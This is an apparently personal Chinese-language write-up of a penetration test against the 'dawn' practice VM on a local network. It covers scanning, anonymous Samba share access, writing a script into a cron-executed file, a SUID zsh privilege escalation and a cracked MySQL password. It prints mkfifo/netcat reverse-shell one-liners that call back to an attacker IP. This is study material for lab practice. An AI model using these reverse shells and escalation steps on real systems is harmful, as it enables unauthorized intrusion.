拿到关键信息Flag.txt
本次渗透测试范围为本地,具体如下:
表1-1:渗透测试对象
序号 | 系统名称 | 网站地址 | 内外网 |
1 | dawn | http://192.168.21.19 | 内网 |
2023年11月10日 早12:00-下午14:00
在本地开展内网的vmware虚拟机中渗透测试。
TYR2
- 信息收集
- 主机存活扫描和端口扫描
后面靶机ip有变化,37à19
80、139、445、3306端口开放
80网页:
- 目录扫描
发现logs文件夹
/logs中前三张图片权限不够,无法访问
日志文件,记录的操作貌似
看了一眼,不上很清楚,只是一些命令
- 看看其他地方貌似没有什么可以利用的点
- 可能突破口就在这个文件内容里面或者说是在139 445端口
搜索了一下linux中445端口
想起来之前信息收集,确实发现139、445是Samba服务器
那么我们去了解一下如何进入到这个共享文件中
在kali中可以使用 smbclient -L //IP进行连接,密码输错了就是只能看到文件名称
我们看到两个文件名称 print$ 和 ITDEPT
再想想办法如何进入到这个共享文件夹中去
- 图形化连接命令-类似windows,在文件夹的地址栏输入
试试图形化连接--居然能够匿名进入
之后发现ITDEPT文件夹可以进入---没有任何东西,print$不能使用匿名进入现在有关键信息的就只是这个地方和那个日志文件了
搜索一下关键字 ITDEPT、print$、445、samba
发现每分钟都会给这个共享文件夹内的web-control文件和product-control赋予777权限并且执行
其他的关键字搜索了,均没有什么可用信息
- 漏洞验证与利用
- Smb共享文件夹漏洞利用-方法一
- 创建一个web-control.php文件,内容是反弹shell
成功创建--写入反弹shell代码
使用mkfifo堆栈的效果将shell反弹
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2 >&1 | nc 192.168.21.14 3333 > /tmp/f |
是否用nc -e大家自己看着办
注意:
如果不使用nc -e 就像上面的代码一样,可能会出现反弹shell后执行命令没有回显,并且可能执行两三条命令后shell自动断开的情况 可以使用如下命令: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.21.14 4444 |/bin/bash|nc 192.168.21.14 5555 解释:这个需要简历两个监听窗口,一个4444,一个5555 .4444用于通讯---然后把命令放入/bin/bash解释器---然后5555端口用于显示出执行后的消息 |
- Shell反弹成功
此时用户是www-data服务用户
- 查看/etc/passwd有两个正常用户
- 查看sudo -l发现是NOPASSWD
但是不能sudo,还是需要密码
那就查看是否存在具有s权限的文件
find / -perm -u=s -type f 2>/dev/nul |
发现zsh (类似bash)
- 去GTFOBins查询一下
- 通过输入zsh就拿到一个交互的系统shell
拿到flag—有两个flag,第一个我找了一下,没找到,应该是搞丢了,不过没关系
- 表示还有几种办法!
请继续看下去!下面是第二种方法
- Smb共享文件夹漏洞利用-方法二
回到我们最初看日志的时候
需要仔细看,web-control是www-data用户的UID执行的
product-control是UID为1000的用户执行的
所以在反弹shell后的权限也不会相同
上一个成功是使用的web-control反弹的www-data权限
这里应该是要用UID为1000的普通用户反弹shell了
我们把上面的命令复制一遍写入到product-control里面
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.21.14 4444 |/bin/bash|nc 192.168.21.14 5555 |
- kali同时开启监听
反弹shell成功
这里对比一下
有明显的对比,dawn用户是普通用户
- 然后我们从零开始利用,不使用zsh提权
别忘了优化一下shell :python -c "import pty;pty.spawn('/bin/bash')"
因为我们扫端口的时候有个3306,这次应该是如何利用mysql吧,去找找看
- 来到dawn家目录下,ls -al查看隐藏文件,发现有个.bash_history和.mysql_history文件,记录了历史命令
.bash_history文件通常包含用户在命令行上执行的历史命令记录。
- 发现当前dawn用户可以NOPASSWD使用mysql
猜测可能是mysql的登录密码
发现几条可疑命令,$1$$bOKpT2ijO.XcGlpjgAup9/ 复制解密一下
- john爆破出密码为onii-chan29
使用sudo命令登录mysql,密码是爆破出来的密码
其实不难发现,作者也在提示我们,在mysql的历史命令文件中有\! sh命令
- 到这里,我发现的第二种方法就没了。
后面两种方法究竟是怎么做的,还需要慢慢摸索,仔细查看
dawn靶场渗透测试主要的利用点从主要的80端口转回到了445端口,通过逐渐的摸索发现445的共享文件夹,然后得到落脚点。通过这次打靶学到了很多东西,比如说nc -e这个参数,还有如何使用通道的方式去达成一个窗口执行命令,另一个窗口回显结果。等等…
嗷对了,我想请问一下大家,为什么Linux在mysql登录进入后,使用\! Sh就能回到登陆用户(root)的shell呢?